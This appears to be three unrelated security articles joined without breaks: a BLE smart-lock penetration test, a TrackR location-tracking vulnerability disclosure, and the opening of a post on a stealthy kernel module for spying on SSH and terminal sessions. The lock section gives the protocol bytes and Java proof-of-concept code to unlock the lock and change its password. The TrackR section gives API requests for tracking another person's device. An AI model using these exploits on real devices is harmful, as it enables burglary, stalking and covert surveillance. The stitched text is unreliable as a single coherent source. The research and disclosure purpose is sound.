In this article, we analyze a commercial padlock named Anboud and walk through the key phases that a security tester should follow when assessing a BLE enabled device.

Throughout the article series, we will use BLE:Bit, an in house tool we developed in 2020 that has helped uncover Bluetooth Low Energy vulnerabilities ever since.

How the BLE:Bit Controller works:

The BLE:Bit Controller is an Android application that communicates with its accompanying Java server, which runs on a computer such as a Raspberry Pi and is built on the BLE:Bit SDK.

When the application starts, the proxy settings must first be configured. Once the controller connects to the Java server, the BLE:Bit Central and BLE:Bit Peripheral devices attached to the Raspberry Pi can be controlled through the Android application by way of that server.

Using Controller version 1.0, we can inspect captured data and replay it to the peer device. We can also replay messages after modifying their contents.

Attack Scenario

We tested a smart lock that becomes active when pressed and then waits for a client to connect. The lock is supported by both Android and iOS applications. Once the Android application discovers the device, it connects to the lock, and pressing the unlock button in the vendor’s application unlocks it.

Our initial goal is to perform a man in the middle attack in order to better understand the application layer protocol used between the Android application and the BLE enabled device. To do this, we use both BLE:Bit Central and BLE:Bit Peripheral.

Both BLE:Bit devices are connected to a Raspberry Pi, which hosts the BLE:Bit server, as shown below.

We begin by launching the server with the following command:

java -jar BLEBit-server.jar

By default, the server listens on TCP port 9090. This information is required when configuring the BLE:Bit Controller Android application.

The image below shows the BLE:Bit configuration page. During setup, several options can be selected, including whether to include scan data. This matters because scan data often contains information that is different from the advertising data. The rogue BLE:Bit Peripheral must know exactly which data to advertise. If any required advertising data is omitted, the vendor’s Android application may fail to connect to the rogue device, or it may not connect at all.

When we click connect, the BLE:Bit Controller initiates a connection to the BLE:Bit server that we have started previously on our Raspberry Pi.

Then, we open the vendor’s android application in order to communicate with our rogue station and intercept any BLE traffic.

When the Android application is opened, it scans for nearby known devices that have previously been paired by checking their Bluetooth device addresses. If a known device is within range, the application automatically initiates a connection. In this case, the device on the other end will be our rogue BLE:Bit Peripheral.

The traffic can then be intercepted using the BLE:Bit Controller application.

The screen shows the different characteristics as well as the values being used. The W stands for Write and N stands for Notification. Write means, the vendor’s android app wants to send a message to the other peer (Lock), and Notification means the Lock wish to send a message back to the other peer device (vendor’s android app).

Understanding the Protocol

In order to understand the protocol, a bit of reverse engineer is required, targeting the protocol and the companion app.

The Reverse engineering of application was trivial as no-stripping has been performed to APK. Below we can see part of the class (com.chltec.base_blelock.module.protocol.BleLockProtocol) that contains some of the fields of the custom BLE protocol:

package com.chltec.base_blelock.module.protocol;

The status codes:

    public static final byte BLELOCK_STATE_CLOSE = (byte) 0;    // 0
    public static final byte BLELOCK_STATE_OPEN = (byte) 1;     // 1
    public static final byte CLOSE_BLELOCK = (byte) 2;          // 2
    public static final byte COMMAND_AUTH_PWD = (byte) 65;      // 41
    public static final byte COMMAND_ENERGY = (byte) 32;        // 20
    public static final byte COMMAND_KEY_OPERATE_PWD = (byte) 80; // 50
    public static final byte COMMAND_OPERATE_LOCK = (byte) 16;  // 10
    public static final byte COMMAND_SETTING_PWD_MODE = (byte) 96; // 60
    public static final byte COMMAND_SET_PASSWORD = (byte) 64;  // 40
    public static final byte COMMAND_STATUS = (byte) 48;        // 30
    public static final byte OPEN_BLELOCK = (byte) 1;           // 1
    public static final byte REQUEST_ID = (byte) 85;            // 55
    public static final byte RESPOND_ID = (byte) -86;           // aa

Method used for Setting Message for Password Authentication Message:

    public static byte[] buildSetAuthPassword(int password) {
        ByteBuffer byteBuffer = ByteBuffer.allocate(6);
        byteBuffer.put(REQUEST_ID);
        byteBuffer.put(COMMAND_SET_PASSWORD);
        byteBuffer.put(ByteUtil.hexStringToByteArray(String.format("%06x", new Object[]{Integer.valueOf(password)})));
        byteBuffer.put(checkSum(byteBuffer.array()));
        Log.d(AppConstants.DEBUG_TAG, new String(Hex.encodeHex(byteBuffer.array())));
        return byteBuffer.array();
    }

We can start decoding the protocol messages one by one starting from the very first message. It is sent from the master to the slave, in this case, that is the android application to smart lock.

Message 1: 0x01, 0x00.

The android application needs to enable notifications in order to be able to receive any value updates from the slave.

Message 2:

The message is deconstructed as shown below:

Message 3:

The message is deconstructed as shown below:

Message 4:

Message 5:

The final goal of this scenario is to be able, as attackers, to open the lock without the help of the true owner.

By clicking into the unlock button of the BLE smart lock we are able see the message and decode it:

Message 6:

It is now clear to us, that only 4 bytes are required to open the lock.

The Penetration Test

BLE Encryption & Authentication: Critical Severity

The android application does not apply any encryption method the BLE protocol supports, and no application-layer encryption is applied either.

Authentication

We have observed, that an authentication method is applied. This is not enough though, as anyone acting as MTIM may intercept the password message and unlock the lock, which is pretty much game over. Therefore, the smart lock is vulnerable to MiTM and sniffing attacks. We have not managed to bypass authentication though.

Replay Attacks: Critical Severity

Unauthorized Unlock of device - Critical

Since we now know which message triggers each action, the next step is to replay some of those messages, and in some cases modify them, to determine whether the receiving device accepts the replayed data. This testing will be carried out against both the Android application and the smart lock. As before, this can be done through the BLE:Bit Controller by swiping a message left or right. A dialog box will then appear asking whether we want to modify the data. At this stage, we will not make any changes.

To make the scenario more realistic, we will connect to the smart lock without the vendor’s Android application running. For this to work, the required data must already be stored in a database. This is handled by the BLE:Bit Controller application through its proxy configuration page.

As shown, we authenticated by reusing the same authentication message captured earlier and then unlocked the smart device with the same open lock message. The lock opened successfully.

This demonstrates that the Android application does not establish secure communication with the target device. As a result, sensitive information transmitted between the application and the lock is not properly protected, which compromises confidentiality.

Unlock Automatically

The lock’s implementation does not establish secure communication, which makes packet replay attacks possible. This raises an important question: how can an attacker change the password in a way that denies access to the legitimate user, while also preventing that user from resetting it?

By default, the smart lock does not support password reset. As a result, if an unauthorized party changes the password, the legitimate user can be permanently locked out.

To verify this behavior, we followed the same process described in the earlier replay attack. First, we performed the password change through the Android application. We then replayed the captured data to confirm that the password could be modified by an unauthorized actor. Because no encryption is used, anyone who knows the password can also change it. While this behavior is consistent with the current design and is not, by itself, a separate security issue, we include the method here to complete the assessment.

We also developed a small proof of concept using BLE:Bit SDK version 1.7. The code automatically discovers the lock and unlocks it as soon as it is detected.

This is relatively simple to implement with the BLE:Bit SDK, since the required functionality is readily available.

The first step is to create a Central Callback object.

CEBLEDeviceCallbackHandler devCallback = new CEBLEDeviceCallbackHandler();

Then, the Central is created and configured:

ce = new CEController(startComm(prolific_ftdi), devCallback);
ce.sendConnectionParameters(9, 13, 0, 1000,  /*Scan*/ 500/*Interval*/, 400/*Window*/, 0/*Timeout*/, /*Connection*/  50, 40, 0xffff, false);
ce.sendBluetoothDeviceAddress("ff:55:ee:fe:4a:af", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);
ce.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
ce.eraseBonds();
ce.finishSetup();

The following line will initiate the CE and start listening for the (any) target:

ce.connectNow(target, AddressType.PUBLIC_ADDR);

Finally, the code below can be used to communicate by using the custom protocol, authenticate, unlock the lock and then alter the existing password:

byte [] auth = new byte[] {0x55, 0x41, 0x01, 0x02, (byte)0x03, 0x00};
checksum(auth);
byte [] open = new byte[] {0x55, 0x10, 0x01, 0x00};
checksum(open);
byte [] passmode = new byte[] {0x55, 0x60, 0x00}; 
checksum(passmode);
byte [] setpassword = new byte[] {0x55, 0x40, 0x02, 0x61, (byte)0xfc, 0}; 
checksum(setpassword);
// Authenticate and open lock
ce.writeData(auth, 0, auth.length, (short)41);
ce.writeData(open, 0, open.length, (short)41);
// Enter Password-change mode and alter password
ce.writeData(passmode, 0, passmode.length, (short)41);
ce.writeData(setpassword, 0, setpassword.length, (short)41);

ce.disconnect(19);
ce.terminate();

Compiling and running the Java code above allows an enabled smart lock to be unlocked and its password changed in just a few milliseconds.

It is also important to note that this is not the limit of what can be done. For instance, the battery level displayed in the Android application could also be modified. Because the message is transmitted through our BLE:Bit Controller, changing the battery indicator shown in the vendor’s app is straightforward. In this case, the same methods can be used, since they are essentially the same as the techniques already described.

The TrackR Pixel is one of the tracking devices produced by TrackR, and for the purpose of this post, you can assume that all TrackR devices follow a similar design and behavior.

Here is how the TrackR Pixel looks-like:

This small tracker can remain powered for up to one year using the tiny battery that comes with it. The tracker pairs with the TrackR mobile application on Android, and the pairing process involves no authentication at all. The device advertises itself with the Bluetooth name “tkr”, and the Android app detects the tracker when the user presses the center of the device, which triggers its internal button. After that, the app pairs the tracker with the phone.

Before pairing the tracker, the user must create an account, so registration is required. This is where our analysis begins.

The Sweet Spot

One of the core functions of the TrackR mobile application is to help users locate their tracker when it is lost. This process works through a community-based system. While users are searching for their own trackers, the application also scans for any TrackR devices in range. When another tracker is detected, the application silently reports the tracker’s presence and the phone’s current coordinates to the server. This means every user is unknowingly helping others find their lost trackers.

Each tracker has a unique tracking ID. This ID is created by taking “0000” and appending the reversed hexadecimal representation of the tracker’s Bluetooth address. By using a web proxy, I examined the API calls and experimented with them. I discovered that anyone could track any TrackR device without any form of authorization. The only requirement was the Bluetooth device address of the tracker.

Because the tracker broadcasts its presence every few seconds when it is not connected to a phone, its Bluetooth address is publicly visible. Once the BDADDR is known, it can be used to track the user’s location.

Private Information Exposed

Users who own a TrackR device, such as the TrackR Pixel, often attach it to important personal items like their keys. Since people usually keep their keys near their mobile phone, the mobile device constantly knows the location of the tracker and regularly reports this information to the server.

If the user leaves their mobile phone in another place, for example at home, other users become the ones reporting the tracker’s location. This is not considered a bug. It is part of the intended design. TrackR uses a community-based tracking feature in which every TrackR user helps other owners locate missing or stolen items. The TrackR mobile application runs quietly in the background as a service, so the user does not need to open it for the reporting to occur.

The important point is that it does not matter whether the owner carries their phone with them or not. Other nearby users, without realizing it, will provide the tracker’s coordinates to the server. Due to the vulnerability described in this article, this system unintentionally exposes private information, because the server will reveal a user’s physical location to an attacker who knows the tracker’s Bluetooth address.

Spear Phishing and Specific Targets

Moreover, this tracker could be abused through social engineering techniques. For example, an attacker could give a tracker as a free gift and continue monitoring its location by using the tracking ID, which they would have recorded before handing the device to the victim. TrackR does not enforce any restriction that prevents multiple users from attaching the same tracker to their accounts. Although this scenario requires preparation, it becomes more realistic when the device is given or sold as a second-hand product.

Tracking Anyone and Everyone

By sending crafted HTTPS POST and GET requests to the vulnerable TrackR API, an authenticated attacker could retrieve sensitive information, such as the coordinates of users who own or carry the tracker. The only requirement is the tracker ID. Since the tracker ID is simply the reversed MAC address of the device, it can be obtained by anyone scanning for nearby Bluetooth devices, even with a regular Android phone.

When creating a tracker ID or attaching to an existing tracker ID, the application communicates with the server using a specific endpoint through a POST request.

To Create the Tracker ID or to attach to Tracker ID (if already created), the following URL is used (POST):

https://platform.thetrackr.com/rest/item?usertoken=…

payload = ‘{”customName”:”tracker_for_my_keys”,”type”:”Bluetooth”,”trackerId”:”00XXXX-XXXXXXXX”,”icon”:”trackr”,”timeElapsedSync”:304}’
	r = requests.post(”https://platform.thetrackr.com/rest/item?usertoken=” + userToken, headers = headers, data = payload)

To fetch all own devices (including the just-attached new device) — (GET):

https://platform.thetrackr.com/rest/item?usertoken=…

r = requests.get(”https://platform.thetrackr.com/rest/item?usertoken=” + userToken, headers = headers_get)
	data = json.loads(r.text)

Note: The token is generated at the login procedure and returned by the server.

GET /rest/user?email=yourmail%40domain.com&password=yourpass HTTP/1.1

PoC

Please note the Coordinates were altered - Also without auth.

def pushDevice(trackerId): # will always return of Not Found if not created before by the user
    payload = '{"customName":"'+pickAName()+'","type":"Bluetooth","trackerId":"'+trackerId+'","icon":"trackr","lost":false,"timeElapsedSync":'+str(random.randint(100,1000))+'}'
    url = "https://platform.thetrackr.com/rest/item/"+trackerId+"?usertoken=" + userToken

To be more thorough about the kind of information that the server is able to retrieve, the following information is presented:

• LastUpdated: So the attacker knows how fresh data is

• Custom name: This is replaced by our custom name when we create/attach to the Tracker ID so it doesn’t make any sense for us

• Last Known Location: The coordinates and how accurate these are (very accurate if you ask me)

• Seen By Type: Who reported the last update (crowd or user)

• Lost: If reported as lost

• Battery Level: The level of tracker’s battery in percentage

• Type: Bluetooth — I am not aware of all products of TrackR, but it seems most trackers are developed by using BLE technology

[
    {
        "lastKnownLocation": {
            "latitude": 30.123455, 
            "lastSeenBy": {
                "seenByType": "CROWD_LOCATE_USER", 
                "name": ""
            }, 
            "longitude": 30.112232, 
            "accuracy": 16
        }, 
        "ownershipOrder": 0, 
        "lastUpdated": 1581871440781, 
        "lost": false, 
        "lastTimeSeenDiff": 33670, 
        "customName": "mynew", 
        "ownersEmail": "MYMAILXXXX@gmail.com", 
        "timeUpdatedDiff": 685496, 
        "id": 5894866519982080, 
        "trackerId": "00005150-52d48gee", 
        "groupItem": false, 
        "batteryOrderUrl": "https://store.thetrackr.com/battery-replenishment-program?trackerId=9cac263f593abfb2&discount=BRP&token=d8005225b33088cf", 
        "batteryLevel": 5, 
        "type": "Bluetooth", 
        "lastKnownPlaces": [], 
        "lastTimeSeen": "Sun Feb 16 16:54:52 UTC 2020", 
        "icon": "trackr"
    }
]

Private Information Exposure Mitigation

Mitigating this type of privacy issue is not simple, because it requires changes in both software and hardware design. The core problem is that the tracker does not use any authentication mechanism during pairing. To address this, the tracker should implement a passkey or PIN-based authentication method, and the PIN should be provided on a physical label. This ensures that only the legitimate owner can pair, configure, or modify the tracker.

The Tracker ID should also be redesigned. Instead of using the reversed Bluetooth address, the Tracker ID should be a random value, at least ten bytes in size, and ideally sixteen bytes. This identifier should only be accessible to an authenticated user, and the user must know the passkey or PIN to retrieve it. With this approach, the low-power design of the device remains intact, while significantly improving its security.

If TrackR wants to continue supporting second-hand sales, it should allow the Tracker ID to be regenerated when the authenticated owner chooses to reset the device. This would prevent previous owners from tracking the device after transferring it to someone else.

Access to Unauthenticated Alarm Characteristic

The tracker does not implement any authorization mechanism, which means that anyone within Bluetooth range, typically around ten meters, can connect to the device and trigger its beeper. Because no security checks are in place, a malicious user could activate the alarm at any time. This type of action does not require sophisticated tools. It can be done with common Bluetooth applications available to the public, and it is simple enough that someone could create their own app in minutes.

The “beep” function corresponds to a standard Bluetooth SIG characteristic, and the values required to trigger the alarm are defined in the specification. The vendor implemented this characteristic correctly from a functional perspective, but without authorization, the device remains vulnerable.

To improve security, the tracker must enforce an authentication step before allowing access to its alarm characteristic. This would ensure that only the legitimate owner can trigger the beeper and interact with sensitive functionality.

Target Location Spoofing

The best part is when anybody, any non-registered user, can alter the current location of any tracker device, at any time.

It is found that the only thing that is needed to alter any tracker’s Coordinates is a single HTTPS PUT Request to a hashed-like path. I guess this is security through obscurity. The “secret” URL allows the submission of information by using unauthenticated access and should be avoided in the year 2020.

Location Spoofing Mitigation

Mitigating location spoofing is also challenging, because any user with the application is currently allowed to submit coordinates and a list of nearby tracker IDs. Under the existing design, the server cannot reliably distinguish a legitimate request from an illegitimate one.

The vendor should adopt the recommended mitigations described earlier. With proper authentication and a securely generated random Tracker ID, the server would know which devices belong to genuine owners. It would also recognize the correct random identifier associated with each tracker. This would allow the system to separate real tracker IDs from forged ones.

To further reduce the risk of brute-force attempts, the Tracker ID should be extended beyond the six bytes that are currently used. A larger random value significantly increases security. In addition, all location update requests should require authentication, so that only authorized devices can report coordinates to the server.

Impact

The TrackR was founded in 2009. It is quite funny how serious this vulnerability is, considering the scale of the company and the little complexity of such a product.

As of August 2017, over 5 million TrackR devices had been sold

Wikipedia

Google play reports ~20k Users to have the application installed and 1 million downloads, yet other applications exist on other platforms, pointing to the same vulnerable API.

Vulnerability Disclosure Time-table

• 15/02/2020 — Vulnerability Discovered

• 19/02/2020 — Vendor TrackR Notified via support email

• 28/02/2020 — Vendor TrackR Notified via support email

• 28/02/2020 — Vendor Adero Notified via adero.com (possibly parent company?)

• 04/03/2020 — Vendor TrackR notified via secondary sending email address

• 17/04/2020 — Cert Coordination Center Submission

• 25/04/2020 — Cert CC Replied with vendor’s contact info

• 6/05/2020 — Attempted to contact them multiple times

• 06/05/2020 — Published ( VU#762643 )

I developed a kernel module to monitor tty connections (ie SSH Sessions, Terminal or Console sessions) in a stealthy way filtering only processes I am interested at. Instead of relying on direct system-call hooks, the approach comes from understanding how the kernel itself moves tty data and identifying a point in that path where observation can happen without drawing attention.

This article walks through that understanding of the Linux TTY subsystem, and the research journey that led me to that design.

A warm Intro to Linux TTY Subsystem

If you’ve ever poked around the Linux kernel, you’ve definitely run into the term tty. It shows up everywhere, in device names, kernel code, boot logs - yet it’s rarely explained in a way that makes it feel approachable. The funny thing is, the tty subsystem isn’t complicated because it’s clever; it’s complicated because it’s old. And once you understand why it exists, the whole design starts to make sense.

The name tty comes from teletypewriter, back when interacting with a computer meant typing commands into a machine that physically printed characters onto paper. In those days, a tty was a real, physical device connected directly to a Unix system. But computers evolved, and terminals stopped being tied to a single piece of hardware. Serial connections appeared, terminals became remote, and the meaning of tty quietly expanded along the way.

Today, a tty is best thought of as anything that behaves like a character stream endpoint. Sometimes that endpoint is physical, a serial port, a USB-to-serial adapter, or a modem. Other times it’s entirely virtual. Linux virtual consoles, network logins, and xterm sessions all rely on tty devices under the hood. Different sources, same abstraction: characters go in, characters come out.

Making all of these wildly different devices look the same to user space is the job of the Linux tty driver core. It lives just below the standard character driver layer and acts as the glue holding the whole system together. Without it, every tty driver would need to solve the same problems over and over again.

The tty core handles two big responsibilities: how data flows and what that data looks like. This might sound simple, but it’s what allows tty drivers to stay simple. Instead of worrying about user-space semantics or input processing rules, drivers can focus on the one thing they actually care about: talking to hardware.

That’s where line disciplines enter the picture. A line discipline is a pluggable data processor that sits between user space and the tty driver. It can transform input, buffer it, interpret control characters, or enforce specific behavior. Different line discipline drivers exist for different needs, and the tty core can swap them in and out as required.

When a program writes data to a tty, the flow is predictable. The tty core receives the data first and passes it to the active line discipline. From there, it goes down to the tty driver, which converts it into something the hardware understands and sends it out. Incoming data makes the same trip in reverse, hardware to driver, driver to line discipline, line discipline to core, and finally back to user space.

Sometimes the tty core talks directly to the tty driver, skipping the line discipline entirely. But most of the time, the line discipline gets a chance to inspect or modify the data in transit. What’s important is that this layering is strict. The tty driver has no idea that a line discipline even exists. It never communicates with one, and it never needs to.

From the driver’s perspective, life is intentionally narrow. A tty driver formats outgoing data for the hardware and hands incoming data back to the core. That’s it. All higher-level behavior lives above it. The line discipline decides how the data should behave; the driver just moves bytes.

The Taxonomy of TTY

In Linux, TTYs are usually described using a practical three-type taxonomy. This is a conceptual, user-visible way of thinking about terminals rather than a strict kernel-level classification. The kernel doesn’t have an enum for “TTY types,” but this model lines up well with how terminals behave and how users interact with them.

Serial tty

Serial ttys are the most straightforward and also the most historically accurate interpretation of a tty. These are backed by real hardware: physical serial ports, USB-to-serial adapters, and similar devices. Characters arrive from a wire, leave through the same path, and the tty layer exists mainly to make that hardware usable in a uniform way from user space.

Console tty

Console ttys exist even when no serial hardware is present at all. These are the virtual consoles you interact with directly on a machine, switching between them with key combinations. Here, the “device” on the other end is the kernel’s console subsystem, which turns keyboard input and screen output into a character stream that fits naturally into the tty model.

Pseudo-terminal tty

Pseudo-terminals (ptys) are entirely software-defined and always come in pairs. One end is exposed to a program as a normal tty, while the other end is controlled by another program, such as a terminal emulator or an SSH daemon. This pairing is what allows user programs to behave as if they are connected to a real terminal, even though no physical device exists.

Core Components

With the different tty types in mind, the next step is to look past what kind of tty we are dealing with and focus on how they all work. Regardless of whether the device is a serial port, a console, or a pseudo-terminal, they all pass through the same core components inside the kernel.

TTY core

The tty core is the component of the kernel that keeps everything in the tty world from turning into chaos. It sits above the actual tty drivers and below user space, and its main job is to make very different devices all look and behave like “a tty.” Whether the data is coming from a physical serial port, a virtual console, or a pseudo-terminal, the tty core provides the same basic interface and rules so user space doesn’t have to care what’s on the other end.

More importantly, the tty core is where the paths come together. It decides how data flows down to the driver and back up to user space, and it’s the layer that wires the line discipline into that flow. When a program writes to a tty, the core takes the data, hands it off to the line discipline, and then passes the result down to the driver. When data comes back from hardware, the core routes it upward the same way. From the outside, this all feels simple, but that simplicity is the result of the tty core quietly coordinating everyone else and enforcing a clean separation of responsibilities.

Line Discipline

Think of the line discipline as the part of the tty stack that decides how characters should behave, not just where they go. It lives quietly between the tty core and the tty driver, watching data pass by and shaping it when needed. When characters come from user space, the line discipline might collect them into lines, react to special keys, or just let them flow through untouched. Data coming back from the device takes the same path in reverse, possibly picking up meaning along the way.

This is why the same tty can feel like a friendly interactive terminal in one moment and a dumb byte pipe in another. The default line discipline, n_tty, is what gives you line editing, echo, and signals like Ctrl-C. Swap it out, and all of that behavior can disappear without touching the driver at all. The driver never knows this is happening; it just sends and receives bytes. All the “personality” of the tty lives in the line discipline sitting quietly in the middle.

TTY driver

At the bottom of the tty stack sits the tty driver, the piece that actually touches the “device” side of the equation. In this context, a device doesn’t necessarily mean a physical thing you can point at. Sometimes it really is hardware, like a serial port or a USB adapter. Other times it’s entirely software, such as a pseudo-terminal or a virtual console. What matters is that there is something on the other end of the tty that can send and receive characters, regardless of whether it exists in silicon or only in code.

The tty driver’s role is deliberately narrow. It doesn’t care about lines, control characters, or user-facing behavior. It doesn’t know which line discipline is active, or even that one exists at all. Its job is simply to take data handed down by the tty core, translate it into a form the underlying device understands, and push it out. Data coming back follows the same idea in reverse. By keeping drivers focused only on this boundary between the kernel and the device, Linux makes it possible to support a wide range of real and virtual devices while keeping the rest of the tty stack clean and consistent.

Enter Pseudo-terminals

A pseudo-terminal, or pty, is the tty subsystem’s way of connecting two programs together as if a real terminal sat between them. Unlike serial or console ttys, a pty is entirely software-defined and always comes as a pair: a master and a slave. The slave side behaves like a normal tty device and is what applications such as shells see and interact with, while the master side is controlled by another program, typically a terminal emulator or a remote login service like SSH. Anything written to the master appears as input on the slave, and anything written to the slave shows up on the master, with the tty core and line discipline sitting in the middle just as they would for a physical device. This pairing is what gives user programs the illusion of talking to a real terminal, even though both ends are just processes exchanging data through the tty infrastructure.

Let’s list the tty drivers.

cat /proc/tty/drivers
/dev/tty             /dev/tty        5       0 system:/dev/tty
/dev/console         /dev/console    5       1 system:console
/dev/ptmx            /dev/ptmx       5       2 system
/dev/vc/0            /dev/vc/0       4       0 system:vtmaster
dbc_serial           /dev/ttyDBC   245       0 serial
ttyprintk            /dev/ttyprintk   5       3 console
max310x              /dev/ttyMAX   204 209-224 serial
serial               /dev/ttyS       4 64-111 serial
pty_slave            /dev/pts      136 0-1048575 pty:slave
pty_master           /dev/ptm      128 0-1048575 pty:master
unknown              /dev/tty        4 1-63 console

As you may see the pty_slave and pty_master as shown. They are under /dev/pts and /dev/ptm device nodes.

TTY Types and Subtypes

TTY devices in the kernel are organized using both types and subtypes, and together they describe what role a particular tty plays. The type answers the broad question first: is this a console, a system tty, a serial device, or a pseudo-terminal? Once that class is known, the subtype adds a finer level of detail. In the case of pseudo-terminals, for example, the subtype distinguishes what kind of pty we are dealing with and how it should behave inside the tty core. That distinction is what allows the same infrastructure to support different tty classes cleanly, and why the subtype values become especially interesting when you narrow the focus to ptys.

/* system subtypes (magic, used by tty_io.c) */
#define SYSTEM_TYPE_TTY			0x0001
#define SYSTEM_TYPE_CONSOLE		0x0002
#define SYSTEM_TYPE_SYSCONS		0x0003
#define SYSTEM_TYPE_SYSPTMX		0x0004

/* pty subtypes (magic, used by tty_io.c) */
#define PTY_TYPE_MASTER			0x0001
#define PTY_TYPE_SLAVE			0x0002

/* serial subtype definitions */
#define SERIAL_TYPE_NORMAL	1

Master and Slave Pair

Each pseudoterminal session has a master and a slave node.

Who Writes to the PTY Master?

The master end of a PTY is written to by terminal-controlling processes - typically programs that act like a user or terminal emulator. These programs simulate user input and capture output from the other side (slave).

Directly reading and writing to slave

So if you are a terminal emulator process, you write and read from a master device via the tty infrastructure. The master device reads and writes to the slave device. The bash (which could be a device connected to the slave - done via user-space) can read and write directly to the slave device, reading (simulates a program capturing terminal output) and writing (simulates output from a process) to it.

Writing Data Flow

When a program writes data to a tty, it all starts with an ordinary write() system call on a device file. From user space this looks no different than writing to any other file, but the VFS quickly recognizes that the file is backed by a tty and redirects the call into the tty core. The tty core takes over as the traffic controller: it receives the data, keeps track of how much is being written, and then hands it down to the tty driver through its write callback.

When a program writes data to a pty master, the flow looks familiar at first but quickly diverges from the usual tty model. The write begins with a normal write() system call on the master file descriptor, which the VFS routes into the tty subsystem. From user space, this is indistinguishable from writing to any other device.

Inside the kernel, however, the pty master does not forward data toward hardware. Instead, the master’s write handler immediately redirects the data into the receive path of the paired slave. The data is inserted into the slave’s flip buffer using helpers like tty_insert_flip_string(), and processing is triggered with tty_flip_buffer_push(). At this point, the line discipline of the slave takes over, processing the incoming bytes exactly as if they had arrived from a physical device.

Once the line discipline has consumed the data, the tty core wakes up any process blocked on reading from the slave. From the reader’s point of view, the data simply appears on the slave tty. This is what makes a pty pair feel like a real terminal: writes to the master are transformed into input events on the slave, with the tty core and line discipline quietly bridging the two.

The important take from here is that the master write path injects data directly into the slave’s receive path.

When a program writes to the slave side of a pty, things behave much more like a normal terminal. The write goes through the tty core and the line discipline, and instead of heading to hardware, the data is forwarded to the paired master. From the master’s point of view, that data simply becomes available to read. This is how output from programs like shells ends up in your terminal emulator: the program writes to the slave, and the emulator reads the result from the master.

Reading Data Flow

When it comes to reading from a tty, the first thing to understand is that there is no traditional read callback implemented by the driver. Unlike writing, the tty core never calls into the driver asking for data. Instead, the direction is reversed: the driver is responsible for pushing data upward as soon as it arrives from the hardware. Once that data reaches the tty core, the core takes ownership of it and buffers it until a user process asks to read. From that point on, reads are entirely serviced by the tty core. The driver is only indirectly involved, through start and stop notifications that tell it when the user is ready to receive more data or when it should pause transmission.

Internally, the tty core relies on a buffering mechanism known as the flip buffer. Conceptually, this buffer is split into two alternating data areas. Incoming data from the driver is written into one area while user space reads from the other. When the active buffer fills up, any process waiting on data is woken up and allowed to read, and the roles of the buffers are swapped. This ping-pong arrangement allows input to continue arriving while user space is still consuming previously received data. When the driver has accumulated enough data, or when it wants to force delivery, it calls tty_flip_buffer_push, which tells the tty core that buffered data is ready to be exposed to user space.

From the driver’s point of view, feeding data into this mechanism is explicit and incremental. Characters are inserted one by one using tty_insert_flip_char, optionally tagged with a type that describes how the character was received. Most data uses TTY_NORMAL, but other types exist to signal conditions such as breaks, framing errors, parity errors, or overruns. Once enough characters have been queued, or the buffer is full, the driver pushes the buffer so the tty core can wake up readers. If the low_latency flag is set, this push causes the data to be flushed to user space immediately, trading batching for responsiveness. Together, these pieces explain why reading from a tty feels simple from user space, while all the real work happens quietly and asynchronously underneath.

Multiplexing and Signaling

The easiest way to make sense of ptys is to think of the master side as a multiplexer rather than a normal device. There is only one master device in the system, /dev/ptmx, and every time it is opened the kernel creates a new session. That single open returns a fresh master file descriptor, which is then paired with a newly created slave device under /dev/pts/N. Internally, this is all handled by the pty driver in drivers/tty/pty.c, with ptmx exposed as a character device (major 5, minor 2) and the slave devices managed through the devpts filesystem mounted at /dev/pts.

What’s paired here is not two device nodes, but a master file descriptor and a slave tty. Programs like terminal emulators interact only with the master side: they write bytes that simulate user input and read back output coming from the slave. On the other end, applications such as bash are attached directly to the slave tty and read and write as if they were connected to a physical terminal. Even signaling follows this same path. When a user presses Ctrl-C, the terminal emulator sends the raw byte 0x03 to the master, the tty core forwards it to the slave’s line discipline, and n_tty turns that byte into a SIGINT for the foreground process group.

Map TTYs to Processes

Since I am more interested into observing particular sessions, ie specific ssh streams, I would love to see some action. So let’s map some pseudoterminals to processes.

Let’s see a fast way to map processes to ptys using lsof command:

lsof /dev/pts/*
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    3260 xusr    0u   CHR  136,0      0t0    3 /dev/pts/0
bash    3260 xusr    1u   CHR  136,0      0t0    3 /dev/pts/0
bash    3260 xusr    2u   CHR  136,0      0t0    3 /dev/pts/0
bash    3260 xusr  255u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    0u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    1u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    2u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    4u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    5u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    6u   CHR  136,0      0t0    3 /dev/pts/0
... SNIP ...
bash    3608 xusr  255u   CHR  136,2      0t0    5 /dev/pts/2
lsof    3617 xusr    0u   CHR  136,2      0t0    5 /dev/pts/2
lsof    3617 xusr    1u   CHR  136,2      0t0    5 /dev/pts/2
lsof    3617 xusr    2u   CHR  136,2      0t0    5 /dev/pts/2

In the above snippet you may observe 3 file descriptors indicating an ssh connection (except the standard ones: stdin, stdout, stderr).

Why multiple file descriptors? We only have 1 ssh connection - 1 ssh client process.

This can happen because ssh may duplicate or reopen the slave multiple times for things like:

• Session management

• Terminal echo control

• Forwarding with non-blocking I/O

• Event-driven read/write or buffering layers

• Are usually duplicates of the same underlying inode (i.e., /dev/pts/0), but might have different flags (e.g., non-blocking or close-on-exec)

• more

If you are more interested into the internal kernel structures that reveals the processes of the tty: Next into the article, we shall see the tty_struct structure; there, the session and pgrp might be sound familiar, its the process session and the process group.

Listing PTS devices and drivers

At this phase we would love to really sneak into and see the existing pts devices and the various tty drivers.

To list all pseudo-terminals:

ls -l /dev/pts/
total 0
crw--w---- 1 xusr tty  136, 0 Jun 23 00:10 0
crw--w---- 1 xusr tty  136, 1 Jun 23 00:29 1
crw--w---- 1 xusr tty  136, 2 Jun 23 00:31 2
crw--w---- 1 xusr tty  136, 3 Jun 23 00:34 3
c--------- 1 root root   5, 2 Jun 22 22:15 ptmx

Same with ps (ssh client connected to ssh server which sits on the same machine).

ps -e -o pid,tty,cmd | grep pts
 3260 pts/0    bash
 3483 pts/0    ssh xusr@localhost
 3579 ?        sshd: xusr@pts/1
 3580 pts/1    -bash
 3608 pts/2    bash
 3686 pts/2    ps -e -o pid,tty,cmd
 3687 pts/2    grep --color=auto pts

The structs & the wrong paths

